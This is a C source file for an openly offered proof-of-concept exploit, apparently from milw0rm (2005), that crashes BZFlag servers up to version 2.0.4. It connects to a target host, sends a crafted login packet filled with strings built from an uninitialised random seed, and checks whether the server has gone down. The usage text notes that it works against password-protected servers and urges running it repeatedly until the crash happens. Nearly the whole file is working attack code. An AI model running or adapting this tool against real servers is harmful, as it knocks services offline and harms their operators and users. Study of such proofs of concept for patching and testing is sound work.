/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}

// combined winerr.h /str0ke

    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif



#define VER         "0.1"
#define BUFFSZ      0xffff
#define PORT        5154
#define TIMEOUT     8

#define WAITSEC     5
#define CALLSIGNSZ  32
#define MAILSZ      128
#define TOKENSZ     22
#define VERSIONSZ   60
#define TYPE        "\x00\x00"
#define TEAM        "\xff\xfe"  // autoteam



int bzflag_send(int sd, u_char *buff, u_char *code, ...);
int tcp_recv(int sd, u_char *data, int len);
u_short bzflag_recv(int sd, u_char *buff, u_char *code);
int create_rand_string(u_char *data, int len, u_int *seed);
int timeout(int sock, int secs);
u_int resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    u_int   seed;
    int     sd;
    u_short port = PORT,
            len;
    u_char  buff[BUFFSZ],
            callsign[CALLSIGNSZ + 1],
            mail[MAILSZ + 1],
            token[TOKENSZ + 1],
            version[VERSIONSZ + 1],
            code[2];

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif


    setbuf(stdout, NULL);

    fputs("\n"
        "BZFlag <= 2.0.4 (2.x) server crash "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <host> [port(%hu)]\n"
            "\n"
            " This tool works also versus servers protected by password without knowing the\n"
            " keyword!\n"
            "\n", argv[0], port);
        exit(1);
    }

    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    fputs("- check server version: ", stdout);
    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();
    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();
    if(timeout(sd, TIMEOUT) < 0) {
        printf("\nError: no reply received within %d seconds, this server doesn't seem valid\n\n", TIMEOUT);
        exit(1);
    }
    tcp_recv(sd, buff, 9);

    printf("   %s\n", buff);
    if(memcmp(buff, "BZFS", 4)) {
        fputs("- this server doesn't seem a valid BZFlag server, I try to continue\n", stdout);
    } else {
        if(memcmp(buff + 4, "00", 2)) {
            fputs("- this server uses a version which is not vulnerable, I try to continue\n", stdout);
        }
    }

    if(!timeout(sd, 0)) {   // 2.0.4 sends data while the previous 2.0 not
        len = bzflag_recv(sd, buff, code);
    }

    create_rand_string(callsign, CALLSIGNSZ, &seed);    // <=== THE BUG IS HERE
    create_rand_string(mail,     MAILSZ,     &seed);
    create_rand_string(token,    TOKENSZ,    &seed);
    create_rand_string(version,  VERSIONSZ,  &seed);

    bzflag_send(sd,
        buff,
        "en",
        2,          TYPE,
        2,          TEAM,
        CALLSIGNSZ, callsign,
        MAILSZ,     mail,
        TOKENSZ,    token,
        VERSIONSZ,  version,
        0);

    len = bzflag_recv(sd, buff, code);

    if(memcmp(code, "ac", 2)) {
        buff[len] = 0;
        printf("\n"
            "Error: code \"%.2s\"\n"
            "%s\n"
            "\n",
            code, buff + 2);
    }

    close(sd);

    fputs("- check server:\n", stdout);
    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();
    if(
      (connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) ||
      (timeout(sd, 3) < 0)) {
        fputs("\n  Server IS vulnerable!!!\n\n", stdout);
    } else {
        fputs("\n"
            "  Server doesn't seem vulnerable\n"
            "  RELAUNCH THIS TOOL OTHER TIMES UNTIL YOU ARE UNABLE TO CRASH IT!!!\n"
            "\n", stdout);
    }
    close(sd);
    return(0);
}



int bzflag_send(int sd, u_char *buff, u_char *code, ...) {
    va_list ap;
    int     len;
    u_short *blen;
    u_char  *s,
            *p;

    blen = (u_short *)buff;
    memcpy(buff + 2, code, 2);
    p = buff + 4;

    va_start(ap, code);
    while((len = va_arg(ap, int))) {
        s = va_arg(ap, u_char *);
        memcpy(p, s, len);
        p += len;
    }
    va_end(ap);

    *blen = htons(p - (buff + 4));

    len = send(sd, buff, p - buff, 0);
    return(len);
}



int tcp_recv(int sd, u_char *data, int len) {
    int     t;

    while(len) {
        t = recv(sd, data, len, 0);
        if(t <= 0) return(-1);
        data += t;
        len  -= t;
    }

    return(0);
}



u_short bzflag_recv(int sd, u_char *buff, u_char *code) {
    u_short len;

    tcp_recv(sd, (u_char *)&len, 2);
    len = ntohs(len);

    tcp_recv(sd, code, 2);

    tcp_recv(sd, buff, len);

    return(len);
}



int create_rand_string(u_char *data, int len, u_int *seed) {
    u_int   rnd;
    u_char  *p = data;
    const static u_char table[] =
                "0123456789"
                "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
                "abcdefghijklmnopqrstuvwxyz";

    rnd = *seed;
//    len = rnd % len;  // max length!
//    if(len < 3) len = 3;

    while(len--) {
        rnd = (rnd * 0x343FD) + 0x269EC3;
        *p++ = table[rnd % (sizeof(table) - 1)];
    }
    *p = 0;

    *seed = rnd;
    return(p - data);
}



int timeout(int sock, int secs) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec  = secs;
    tout.tv_usec = 1000;    // in case secs is 0
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_int resolv(char *host) {
    struct hostent *hp;
    u_int host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_int *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

// milw0rm.com [2005-12-27]